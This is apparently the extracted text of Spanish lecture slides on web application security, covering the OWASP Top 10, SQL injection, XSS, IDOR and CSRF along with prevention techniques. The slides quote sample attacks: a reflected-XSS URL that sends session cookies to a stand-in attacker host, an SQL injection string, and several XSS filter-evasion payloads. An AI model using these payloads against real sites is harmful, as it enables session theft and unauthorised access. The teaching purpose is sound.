Seguridad de aplicaciones Web

(1)

(2)

Bibliografía

•La organización sin fines

de lucro Open Web Application Security Project.

(3)

(4)

Conceptos básicos

•Amenaza: cualquier cosa que pueda afectar negativamente a la aplicación:

• Falla de discos, hacker, etc.

•Vulnerabilidad

• Es un bug que puede ser corregido

•Ataque

•Acceso a información privada: Exposición de datos

sensibles o acceso indebido al backend de una aplicación en ejecución.

(5)

Conceptos básicos - Cookie

•Son parte del protocolo HTTP y la mayoría de las aplicaciones las utiliza.

•Es un medio para realizar ataques.

•El mecanismo de cookie permite al servidor enviar

datos al cliente que este almacena y reenvía al servidor en cada request subsecuente.

Primer request

Set-Cookie

(6)

Conceptos básicos – sesión HTMlL

•El usuario mismo navega diferentes páginas y funciones realizando requests HTTP concurrentemente con otros usuarios.

•Para asegurar efectivamente el control de acceso, la aplicación necesita identificar y procesar la serie de requests que es originado de un mismo usuario.

•Session

• El usuario recibe un token que el navegador envía automaticamente ante cada requests de manera

transparente para que el servidor identifique al usuario. • Las cookies son el método estándar para enviar el token de

(7)

(8)

Gestión de acceso - Autenticación

•La autenticación implica establecer que el usuario es que intenta acceder es quien dice ser.

(9)

Gestión de acceso - Autenticación

(10)

Gestión de acceso – Control de acceso

•Una aplicación puede soportar diferentes roles de

usuario, donde cada uno define privilegios operativos específicos.

(11)

¿qué es una aplicación si usa SSL o PCI Standarts?

•Payment Card Industry (PCI) standards o SSL no aseguran detienen ataques a los diferentes

componentes de software de una aplicación Web. •SSL es una excelente tecnología que proteje la

confidencialidad e integridad de datos transmitidos entre el Browser y el Servidor.

(12)

(13)

Transfiriendo datos desde el cliente

•Es común que el servidor envíe datos al cliente que no son percibibles por el usuario para ser devueltos

posteriormente

•Si es peligroso, porqué se utiliza esta metodología?

• Evita tener que trazar los datos en la sesión del usuario y reduce la memoria utilizada en la sesión.

• Si es una aplicación distribuida donde un request puede ser procesado por diferentes servidores, simplifica la solución evitando la necesidad de sincronizar las sesiones entre servidores.

(14)

Campos ocultos en formularios

•Los campos ocultos (hidden) son el mecanismo mas utilizado para transferir información.

• No son visibles por el usuario

•Cual es el problema?

<form method=post action=Shop.aspx?prod=1> Product: iPhone 5 <br/>

Price: 449 <br/>

Quantity: <input type=text name=quantity> (Maximum quantity is 50)

<br/>

<input type=hidden name=price value=449>

<input type=submit value=Buy> </form>

(15)

Datos opacos

•Y si escondemos codificamos la información sensible?

•Los datos son transmitidos de tal forma que no son legibles a primera vista debido a que se encuentran ofuscados o encriptados.

<form method=post action=Shop.aspx?prod=4> Product: Nokia Infinity <br/>

Price: 699 <br/>

Quantity: <input type=text name=quantity> (Maximum quantity is

50) <br/>

<input type=hidden name=pricing_token

value=E76D213D291B8F216D694A34383150265C989229>

(16)

Datos opacos

•Cual es el problema?

• Si se conoce el texto original, se podría detectar el algoritmo • La función de opacamiento puede ser accesible desde algún

punto permitiendo obtener el string ofuscado deseado • Se podría copiar el “valor” del producto desde otro mas

económico

(17)

ASP.NET ViewState

•La plataforma ASP.NET utiliza el campo ViewState para mejorar el rendimiento del servidor. Permite al servidor preservar elementos en la interfaz de usuario en los

sucesivos request evitando hacerlo en el servidor

•Problema?

• Se encuentra codificado en base 64 y la información es accesible y modificable

<formmethod=”post” action=”Shop.aspx?prod=3”>

<inputtype=”hidden” name=”__VIEWSTATE” id=”__VIEWSTATE”

value=”/wEPDwULLTE1ODcxNjkwNjIPFgIeBXByaWNlBQMzOTlkZA==” />

Product: HTC Avalanche <br/> Price: 399 <br/> Quantity: <input

type=”text” name=”quantity”> (Maximum quantity is 50) <br/> <input

(18)

Defectos del mecanismo de autenticación

•Bad Passwords

•Valores por defecto, mismo que el usuario

•Acceso por fuerza bruta

•Password en base al usuario, diccionario de passwords

•Mensajes de error excesivamente descriptivos

•“Password erroneo” vs “Usuario no reconocido”

•Transmisión de credenciales vulnerables

•Sobre HTTP

•Transmisión de parámetros por GET

•Funcionalidad de password olvidado

•Permite acceder a la cuenta con una pregunta conocida

•Funcionalidad “Remember me” pobremente

implementada

(19)

OWASP

Según la organización sin fines de lucro Open Web Application Security Project (OWASP) las 10

vulnerabilidades mas frecuentes son:

• Injection

• Broken Authentication and Session Management

• Cross Site Scripting (XSS)

• Insecure Direct Object References

• Security Misconfiguration

• Sensitive Data Exposure

• Missing Function Level Access Control

• Cross-Site Request Forgery (CSRF)

• Using Known Vulnerable Components (NEW)

(20)

Ataques comunes

Según D. Stuttard & M. Pinto en The Web Application Hacker’s Handbook las vulnerabilidades mas

comunes identificadas por ellos son:

•Broken authentication (62%) •Broken access controls (71%) •SQL injection (32%)

•Cross-site scripting (94%) •Information leakage (78%)

(21)

(22)

(23)

Inyección

•Se engaña a la aplicación introduciendo comandos en los datos enviados a un interprete.

• Ejecutor de líneas de comandos

• SQL, OS Shell, LDAP, Xpath, Hibernate, otro ORM, etc. • Por ej, Área de comentarios

•Impacto

(24)

Inyección - Ejemplo

•Posibilidad de borrar una

tabla o autorizar el acceso a un usuario.

•Código en la aplicación

•Ataques

$query = "SELECT * from `users` where `firstname` like '%{$login}%' and firstname != '{$login}'";

‘admin’--’

(25)

Inyección

•Prevención

• Evitar interpretes

• Utilizar parámetros en los interpretes

• Prepared statements • Stored procedures

• Codificar cada dato enviado por el usuario antes de ser enviado al interprete.

• Minimizar privilegios de acceso a la base de datos y OS.

•Mas detalles

(26)

(27)

Broken Authentication and Session Management

•HTTP es un protocolo sin estado

• Las credenciales deben ir en cada request

•Vulnerabilidad

• El identificador de sesión (SESSION ID) se utiliza para trazar la sesión ya que HTTP no lo hace

• El SESSION ID esta típicamente expuesto en la red, logs, browser etc.

•Impacto

(28)

(29)

(30)

Cross Site Scripting (XSS)

•El atacante ubica código malicioso, generalmente en JavaScript, donde la victima pueda acceder y

ejecutarlo.

• Por ej, Área de comentarios

•El objetivo es robar cookies para suplantar la identidad desde otro browser.

•Variantes

• Reflextive XSS • Stored XSS

(31)

Reflective XSS

Aplicación Web

Usuario

2. Envia una dirección con código malicioso

1. Us uario

Se lo guea

3. El usua

rio so licita

la U RL

mali ciosa

4. De scar

ga el cont

enido

5. Evalua el código malicioso

6. El browser envía cookie de session 7. Su

plan ta la

(32)

Reflective XSS

1. El usuario se logea a la aplicación y se informa

2. El atacante envia una dirección URL con código malicioso al usuario

5. El navegador evalua el código injectado en la página

7. Se envía al atacante la cookie

Set-Cookie: sessId=184a9138ed37374201a4c9672362f12459c2a652491a3

http://appl.net/error/5/Error.ashx?message=<script>var+i=new+Image ;+i.src=”http://mdattacker.net/”%2bdocument.cookie;</script>

var i=new Image; i.src=”http://mdattacker.net/”+document.cookie;

(33)

Stored XSS

Aplicación Web

Usuario

2. Us uario

Se lo guea

3. El usua

rio so licita

la U RL de

l

com enta

rio

4. De scar

ga el cont

enido con e

l

códig o Jav

ascri pt

5. Evalua el código malicioso

6. El browser envía cookie de session

1.El a taca

nte s_{e lo}

guea_{y re} aliza un c_om

(34)

Reflective XSS – Prevención

1. Técnica de prevención

Validar la entrada y salida teniendo en cuenta caracteres especiales utilizados en técnicas conocidas

2. Desafíos

Demasiadas variantes de inyección de código

“><script >alert(document.cookie)</script > “><ScRiPt>alert(document.cookie)</ScRiPt>

“%3e%3cscript%3ealert(document.cookie)%3c/script%3e “><scr<script>ipt>alert(document.cookie)</scr</script>ipt> %00“><script>alert(document.cookie)</script>

(35)

Reflective XSS

Veamos el tutorial de Google!

(36)

(37)

Insecure Direct Object References

• Errores comunes

• Esconder la referencia de un objeto en un campo oculto (por ej el identificador)

• El atacante manipula ese valor

• Impacto

(38)

Insecure Direct Object References

• El atacante nota 6065

?acct=6065

• Modifica el valor

?acct=6066

• El atacante ve la

información del usuario

6066

(39)

Insecure Direct Object References

• Técnica de mitigación

• Eliminar las referencias directas a objetos.

• Reemplazar ids con valores temporales de mapping. • Utilizar mapeo numerico random.

http://app?file=1

http://app?id=7d3J93

http://app?id=9182374

(40)

(41)

Cross-site request forgery (CSRF)

•Es un ataque donde se aprovecha la relación de

confianza entre una aplicación Web cualquiera y el usuario donde se fuerza a los usuarios a realizar operaciones según lo indique el atacante.

• En otras palabras, el atacante puede tomar control de su navegador para enviar datos a alguna aplicación, clickear links, etc.

•Impacto

• Realizar transacciones: transferir fondos, deslogear usuario, cerrar cuenta, disparar cualquier operación.

• Acceso a datos sensibles

(42)

Cross-site request forgery (CSRF)

•Supongamos que en una aplicación se puede dar de alta un usuario con el siguiente request

POST /auth/390/NewUserStep2.ashx HTTP/1.1 Host: aplicacionvulnerable.com

Cookie: SessionId=8299BE6B260193DA076383A2385B07B9 Content-Type: application/x-www-form-urlencoded

Content-Length: 83

(43)

Cross-site request forgery (CSRF)

•El atacante podría incorporar el siguiente código en un mail o en una aplicación insegura para crear un

usuario.

<form action=”https://aplicacionvulnerable.com

/auth/390/NewUserStep2.ashx” method=”POST”>

(44)

(45)

Cross-site request forgery (CSRF)

•Mecanismos de prevención

• Token CSRF.Se genera un token antes de generar cada

formulario y se valida el valor en el servidor al momento de procesar el request

• Capcha. Tecnología Human Interactive Proof (HIP) que es utilizada para determinar si el request es generado por un humano.

(46)

Grails - Seguridad

•Grails provee

• Acceso a la base de datos utilizando ORM escapando

parámetros previniendo SQL Injection

• El código de scaffolding codifica (escapa) todos los

parámetros al ser visualizados

• La generación de links utiliza mecanismos de codificación

previniendo inyección de código.

• Prevención de ataques

• SQL injection

• Phishing

• XSS - cross-site scripting injection

• HTML/URL injection

• Denial of service

• Ids Adivinables

(47)

(48)

Recursos

•Maquina virtual con aplicaciones inseguras

mantenida por OWASP. Ir a “download latest release”

• https://www.owasp.org/index.php/OWASP_Broken_Web_

Applications_Project

• Iniciar la maquina y acceder a través del navegador al

servidor:

• http://192.168.79.128/

(49)

PackoPicko - Vulnerabilidades

• Descripción de vulnerabilidades

• http://www.aldeid.com/wiki/WackoPicko#Vulnerabilities

•Mas importantes

• Reflected XSS

• SessionID vulnerability • Reflected SQL Injection • Stored XSS